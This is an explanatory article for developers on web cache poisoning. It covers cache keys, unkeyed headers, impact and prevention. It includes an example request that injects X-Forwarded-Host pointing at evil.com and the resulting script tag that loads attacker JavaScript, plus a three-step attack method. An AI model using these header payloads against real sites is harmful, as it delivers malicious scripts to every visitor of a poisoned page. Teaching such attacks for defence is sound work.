Web-cache-poisoning

Web Cache Poisoning Explained
Web Security

Web Cache Poisoning: How One Request Can Attack Thousands

A caching layer is supposed to make a site faster. Handled carelessly, it can turn a single malicious request into an attack delivered to every visitor.

Application Security · ~8 min read

What is web cache poisoning?

Web cache poisoning is an attack where an attacker gets a harmful HTTP response stored in a cache, so that the cache then serves that poisoned response to all the normal users of the site.

The key idea: it is not a standalone attack by itself. Think of it as a delivery mechanism. On its own, a reflected bug might only affect the one person who triggers it. But once it is baked into the cache, it gets handed out to everyone who loads the page — turning a low-impact bug into a mass attack with zero interaction from the victims.

First, how does a cache actually work?

A cache sits between the user and the back-end server. When a response is generated once, the cache stores a copy. The next time an "equivalent" request arrives, the cache just replays the stored copy instead of bothering the server. Faster for users, lighter load on the server.

Users CACHE stores copies Back-end server request cached response (fast) only on cache miss
The cache answers repeat requests itself, only reaching the back-end when it has no stored copy.

Cache keys: keyed vs unkeyed

Here is the part that makes the whole attack possible. To decide whether two requests are "the same", the cache does not compare the entire request. It only looks at a few chosen parts — together these are called the cache key (typically the request line and the Host header).

  • KEYED  Parts inside the cache key. The cache compares these. Example: URL, query string, Host.
  • UNKEYED  Everything else — the cache ignores these when matching. Example: many custom headers and cookies.
The core flaw

A problem appears when an input is unkeyed (the cache ignores it) but the back-end still uses it to build the response. The cache thinks the request is identical to a normal one, so it stores the attacker's response under the normal URL.

Two requests the cache treats as "the same" Request A (attacker) GET /   Host: site.com X-Forwarded-Host: evil.com ▲ unkeyed → ignored by cache Request B (normal user) GET /   Host: site.com (no special header) same cache key as A Cache key = "GET / Host: site.com" identical for both → B gets A's poisoned response ⚠ The normal user is served the attacker's response
Because the dangerous header is unkeyed, the cache cannot tell the two requests apart.

A concrete example

Suppose a site builds the URL of a script it loads from the X-Forwarded-Host header (a header normally added by proxies to say which host the user originally asked for). The attacker sends:

GET / HTTP/1.1
Host: innocent-site.com
X-Forwarded-Host: evil.com   ← unkeyed, but the server trusts it

The server reflects that value into the page:

<script src="https://evil.com/resources/js/analytics.js"></script>

The cache ignored X-Forwarded-Host because it is unkeyed, so this poisoned page gets cached against the normal home page. The attacker hosts a malicious analytics.js on evil.com. Now every visitor who opens the home page runs the attacker's JavaScript — no clicking required. That is effectively mass stored XSS.

How an attacker exploits it

The process is methodical, usually three steps:

  1. Find unkeyed inputs. Add unusual headers to a request and watch whether the response changes. This is automated with tooling that brute-forces a large list of headers to spot which ones affect the response while still being ignored by the cache.
  2. Turn it into a harmful response. Check how that input is used. If it is reflected into the page unsanitized, or used to build a URL or redirect, it becomes an injection point for XSS, an open redirect, and so on.
  3. Get it cached. Make the response cacheable and confirm it actually landed in the cache — usually by checking response headers like X-Cache: hit or Age. Once the poisoned copy is stored, every matching visitor receives it.
Testing safely

While probing a live site, always add a cache buster (a unique query parameter) to each request. This keeps your test responses tied only to you, so you don't accidentally serve a poisoned response to real users.

Why these headers show up so often

Two headers appear in most real-world cases: X-Forwarded-Host and X-Forwarded-Scheme (or X-Forwarded-Proto). They are non-standard headers added by proxies and CDNs. They are dangerous because they usually satisfy both attack conditions at once:

HeaderStatus in cacheUsed by back-end for
X-Forwarded-HostUNKEYEDBuilding absolute URLs, script sources, canonical links, redirect targets
X-Forwarded-SchemeUNKEYEDDeciding HTTP vs HTTPS — often triggers a redirect

They are frequently paired: one header triggers a redirect, the other controls where that redirect points — a clean open-redirect-to-phishing primitive.

What's the impact?

The severity depends on two things: how harmful the cached payload is, and how much traffic the page receives. Poison a high-traffic home page and a single request can affect thousands of users. Common outcomes:

  • Mass XSS — session theft, account takeover, defacement, served to every visitor.
  • Malicious resource import — the page loads attacker-controlled JavaScript or CSS.
  • Open redirect / phishing — users sent to an attacker page from a trusted-looking URL.
  • Denial of service — cache an error page so legitimate users just see a broken site.
  • Persistence — even after the cache entry expires, the attack can be scripted to re-poison indefinitely.

How to prevent it

  • Only cache truly static content. Never cache dynamic or reflected responses. And be strict about what "static" means — confirm an attacker can't trick the back-end into serving a malicious version of a static resource.
  • Disable headers you don't need. Many attacks exist only because a CDN or framework supports obscure headers like X-Forwarded-Host by default. If the site doesn't need it, turn it off — an input that doesn't exist can't be injected.
  • Make impactful inputs keyed. The golden rule: if an input changes the response, it must be part of the cache key. If you must exclude it for performance, rewrite/normalize the request instead of silently ignoring it.
  • Reject fat GET requests (GET requests carrying a body), which some stacks allow by default.
  • Set caching headers correctly. Use Cache-Control: no-store or private for sensitive responses, and a correct Vary header so the cache distinguishes requests that genuinely differ.
  • Patch client-side bugs anyway. A DOM or XSS issue that looks unexploitable alone can become exploitable through a cache quirk.
One-line takeaway

Web cache poisoning happens at the gap between what the cache ignores and what the server trusts. Close that gap — either stop the server trusting the input, or make the cache stop ignoring it.

Written as an introduction to web cache poisoning for developers and security learners. Always test only on systems you are authorized to assess.

Comments